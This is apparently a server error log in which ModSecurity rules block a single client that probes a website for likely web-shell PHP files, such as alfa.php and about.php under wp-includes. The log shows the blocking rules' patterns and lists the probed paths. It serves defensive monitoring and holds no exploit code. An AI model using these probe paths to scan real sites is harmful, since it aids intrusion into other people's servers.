[Wed Apr 01 09:13:08.940067 2026] [:error] [pid 23819:tid 23838] [client 20.116.48.67:38899] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/anz.php"] [unique_id "acxxJNdfUS_37wFAM74HDQAAANA"]
[Wed Apr 01 09:13:10.379492 2026] [:error] [pid 23714:tid 23753] [client 20.116.48.67:38861] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/anz.php"] [unique_id "acxxJkHxDDU2ETcG9DQ6BgAAABM"]
[Wed Apr 01 09:13:11.834772 2026] [:error] [pid 23716:tid 23791] [client 20.116.48.67:38869] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/anz.php"] [unique_id "acxxJ3VtFUg_mx-RYb6PCwAAAIM"]
[Wed Apr 01 09:13:13.287499 2026] [:error] [pid 23714:tid 23752] [client 20.116.48.67:38787] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/anz.php"] [unique_id "acxxKUHxDDU2ETcG9DQ6GgAAABI"]
[Wed Apr 01 09:13:14.721274 2026] [:error] [pid 23716:tid 23808] [client 20.116.48.67:38865] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acxxKnVtFUg_mx-RYb6PEAAAAJQ"]
[Wed Apr 01 09:13:16.160644 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38875] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acxxLHVtFUg_mx-RYb6PEwAAAJM"]
[Wed Apr 01 09:13:17.589905 2026] [:error] [pid 23716:tid 23811] [client 20.116.48.67:38788] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acxxLXVtFUg_mx-RYb6PFwAAAJc"]
[Wed Apr 01 09:13:19.019664 2026] [:error] [pid 23716:tid 23808] [client 20.116.48.67:38896] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "acxxL3VtFUg_mx-RYb6PIwAAAJQ"]
[Wed Apr 01 09:13:20.455482 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38872] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file66.php"] [unique_id "acxxMEHxDDU2ETcG9DQ6RAAAAAU"]
[Wed Apr 01 09:13:21.904921 2026] [:error] [pid 23715:tid 23770] [client 20.116.48.67:38721] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file66.php"] [unique_id "acxxMa-REzOruNbiT9yNNQAAAEk"]
[Wed Apr 01 09:13:23.344587 2026] [:error] [pid 23714:tid 23739] [client 20.116.48.67:38791] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file66.php"] [unique_id "acxxM0HxDDU2ETcG9DQ6SAAAAAU"]
[Wed Apr 01 09:13:24.781373 2026] [:error] [pid 23715:tid 23769] [client 20.116.48.67:38894] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file66.php"] [unique_id "acxxNK-REzOruNbiT9yNOgAAAEg"]
[Wed Apr 01 09:13:26.224606 2026] [:error] [pid 23716:tid 23793] [client 20.116.48.67:38873] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kure.php"] [unique_id "acxxNnVtFUg_mx-RYb6PLwAAAIU"]
[Wed Apr 01 09:13:27.880683 2026] [:error] [pid 24348:tid 24395] [client 20.116.48.67:38897] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kure.php"] [unique_id "acxxN20Vs69Y5nF1HA8P3gAAAZA"]
[Wed Apr 01 09:13:29.573112 2026] [:error] [pid 23716:tid 23795] [client 20.116.48.67:38903] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kure.php"] [unique_id "acxxOXVtFUg_mx-RYb6PNQAAAIc"]
[Wed Apr 01 09:13:31.267352 2026] [:error] [pid 24314:tid 24331] [client 20.116.48.67:38790] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kure.php"] [unique_id "acxxO5RF3FCzjmMUX5YFowAAAQ0"]
[Wed Apr 01 09:13:32.728771 2026] [:error] [pid 24314:tid 24339] [client 20.116.48.67:38851] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "acxxPJRF3FCzjmMUX5YFsAAAARU"]
[Wed Apr 01 09:13:34.167176 2026] [:error] [pid 24348:tid 24401] [client 20.116.48.67:38796] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "acxxPm0Vs69Y5nF1HA8P7AAAAZY"]
[Wed Apr 01 09:13:35.602141 2026] [:error] [pid 23819:tid 23829] [client 20.116.48.67:38794] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "acxxP9dfUS_37wFAM74HMgAAAMc"]
[Wed Apr 01 09:13:37.064057 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38901] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "acxxQXVtFUg_mx-RYb6PSQAAAJM"]
[Wed Apr 01 09:13:38.515259 2026] [:error] [pid 23714:tid 23752] [client 20.116.48.67:38866] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaje.php"] [unique_id "acxxQkHxDDU2ETcG9DQ6YQAAABI"]
[Wed Apr 01 09:13:39.942957 2026] [:error] [pid 23716:tid 23794] [client 20.116.48.67:38797] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaje.php"] [unique_id "acxxQ3VtFUg_mx-RYb6PTwAAAIY"]
[Wed Apr 01 09:13:41.385354 2026] [:error] [pid 23714:tid 23740] [client 20.116.48.67:38846] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaje.php"] [unique_id "acxxRUHxDDU2ETcG9DQ6aQAAAAY"]
[Wed Apr 01 09:13:42.825523 2026] [:error] [pid 24348:tid 24397] [client 20.116.48.67:38828] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gaje.php"] [unique_id "acxxRm0Vs69Y5nF1HA8P9QAAAZI"]
[Wed Apr 01 09:13:44.248692 2026] [:error] [pid 24346:tid 24371] [client 20.116.48.67:38852] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/msy.php"] [unique_id "acxxSLc1l8kg9MhGHIKwuQAAAVM"]
[Wed Apr 01 09:13:45.679059 2026] [:error] [pid 23716:tid 23790] [client 20.116.48.67:38910] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/msy.php"] [unique_id "acxxSXVtFUg_mx-RYb6PZAAAAII"]
[Wed Apr 01 09:13:47.112526 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38881] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/msy.php"] [unique_id "acxxS0HxDDU2ETcG9DQ6dgAAAAg"]
[Wed Apr 01 09:13:48.561665 2026] [:error] [pid 24348:tid 24393] [client 20.116.48.67:38836] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/msy.php"] [unique_id "acxxTG0Vs69Y5nF1HA8P_AAAAY4"]
[Wed Apr 01 09:13:50.005470 2026] [:error] [pid 23714:tid 23737] [client 20.116.48.67:38795] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fgd.php"] [unique_id "acxxTkHxDDU2ETcG9DQ6ewAAAAM"]
[Wed Apr 01 09:13:51.460576 2026] [:error] [pid 24348:tid 24402] [client 20.116.48.67:38793] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fgd.php"] [unique_id "acxxT20Vs69Y5nF1HA8QAAAAAZc"]
[Wed Apr 01 09:13:52.901875 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38909] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fgd.php"] [unique_id "acxxUHVtFUg_mx-RYb6PjAAAAIE"]
[Wed Apr 01 09:13:54.330186 2026] [:error] [pid 23819:tid 23825] [client 20.116.48.67:38907] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fgd.php"] [unique_id "acxxUtdfUS_37wFAM74HSAAAAMM"]
[Wed Apr 01 09:13:55.767584 2026] [:error] [pid 24346:tid 24374] [client 20.116.48.67:38908] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/X7T6.php"] [unique_id "acxxU7c1l8kg9MhGHIKwwgAAAVY"]
[Wed Apr 01 09:13:57.209671 2026] [:error] [pid 23714:tid 23751] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/X7T6.php
[Wed Apr 01 09:13:57.421833 2026] [:error] [pid 23714:tid 23758] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/alog.php
[Wed Apr 01 09:13:57.654244 2026] [:error] [pid 23714:tid 23741] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/p.php
[Wed Apr 01 09:13:57.866159 2026] [:error] [pid 23714:tid 23735] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/sef.php
[Wed Apr 01 09:13:58.078987 2026] [:error] [pid 23714:tid 23753] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/ztv.php
[Wed Apr 01 09:13:58.299426 2026] [:error] [pid 23714:tid 23748] [client 20.116.48.67:38905] File does not exist: /usr/local/apache/htdocs/suspended-page/Rk41.php
[Wed Apr 01 09:13:58.508172 2026] [:error] [pid 23714:tid 23746] [client 20.116.48.67:38905] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "acxxVkHxDDU2ETcG9DQ63gAAAAw"]
[Wed Apr 01 09:16:04.138167 2026] [:error] [pid 23714:tid 23745] [client 20.116.48.67:38806] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Wed Apr 01 09:16:04.349400 2026] [:error] [pid 23714:tid 23752] [client 20.116.48.67:38806] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Wed Apr 01 09:16:04.995393 2026] [:error] [pid 23714:tid 23735] [client 20.116.48.67:38806] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Wed Apr 01 09:16:05.202403 2026] [:error] [pid 23714:tid 23746] [client 20.116.48.67:38806] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acxx1UHxDDU2ETcG9DQ9OQAAAAw"]
[Wed Apr 01 09:16:06.652993 2026] [:error] [pid 23819:tid 23829] [client 20.116.48.67:38817] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "acxx1tdfUS_37wFAM74H0QAAAMc"]
[Wed Apr 01 09:16:08.080077 2026] [:error] [pid 23716:tid 23806] [client 20.116.48.67:38879] [client 20.116.48.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acxx2HVtFUg_mx-RYb6Q7gAAAJI"]
[Wed Apr 01 09:16:10.398324 2026] [:error] [pid 23715:tid 23775] [client 20.116.48.67:38868] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acxx2q-REzOruNbiT9yNzwAAAE4"]
[Wed Apr 01 09:16:11.924606 2026] [:error] [pid 24348:tid 24392] [client 20.116.48.67:38858] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acxx220Vs69Y5nF1HA8QzQAAAY0"]
[Wed Apr 01 09:16:13.433789 2026] [:error] [pid 23714:tid 23740] [client 20.116.48.67:38750] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acxx3UHxDDU2ETcG9DQ9XQAAAAY"]
[Wed Apr 01 09:16:14.873770 2026] [:error] [pid 23716:tid 23791] [client 20.116.48.67:38892] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acxx3nVtFUg_mx-RYb6Q_AAAAIM"]
[Wed Apr 01 09:16:16.407697 2026] [:error] [pid 23716:tid 23803] [client 20.116.48.67:38862] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "acxx4HVtFUg_mx-RYb6RAgAAAI8"]
[Wed Apr 01 09:16:17.847603 2026] [:error] [pid 23716:tid 23795] [client 20.116.48.67:38857] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "acxx4XVtFUg_mx-RYb6RBwAAAIc"]
[Wed Apr 01 09:16:19.322622 2026] [:error] [pid 24348:tid 24403] [client 20.116.48.67:38798] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "acxx420Vs69Y5nF1HA8Q3QAAAZg"]
[Wed Apr 01 09:16:20.883432 2026] [:error] [pid 23714:tid 23742] [client 20.116.48.67:38816] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/network.php"] [unique_id "acxx5EHxDDU2ETcG9DQ9ggAAAAg"]
[Wed Apr 01 09:16:22.516226 2026] [:error] [pid 24348:tid 24394] [client 20.116.48.67:38740] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acxx5m0Vs69Y5nF1HA8Q4AAAAY8"]
[Wed Apr 01 09:16:24.156333 2026] [:error] [pid 23716:tid 23789] [client 20.116.48.67:38902] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acxx6HVtFUg_mx-RYb6RHAAAAIE"]
[Wed Apr 01 09:16:25.905570 2026] [:error] [pid 23714:tid 23736] [client 20.116.48.67:38890] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acxx6UHxDDU2ETcG9DQ9mwAAAAI"]
[Wed Apr 01 09:16:27.346488 2026] [:error] [pid 23819:tid 23836] [client 20.116.48.67:38855] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acxx69dfUS_37wFAM74H4gAAAM4"]
[Wed Apr 01 09:16:28.829840 2026] [:error] [pid 23714:tid 23744] [client 20.116.48.67:38850] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acxx7EHxDDU2ETcG9DQ9qAAAAAo"]
[Wed Apr 01 09:16:30.348416 2026] [:error] [pid 23716:tid 23807] [client 20.116.48.67:38826] [client 20.116.48.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acxx7nVtFUg_mx-RYb6RMQAAAJM"]
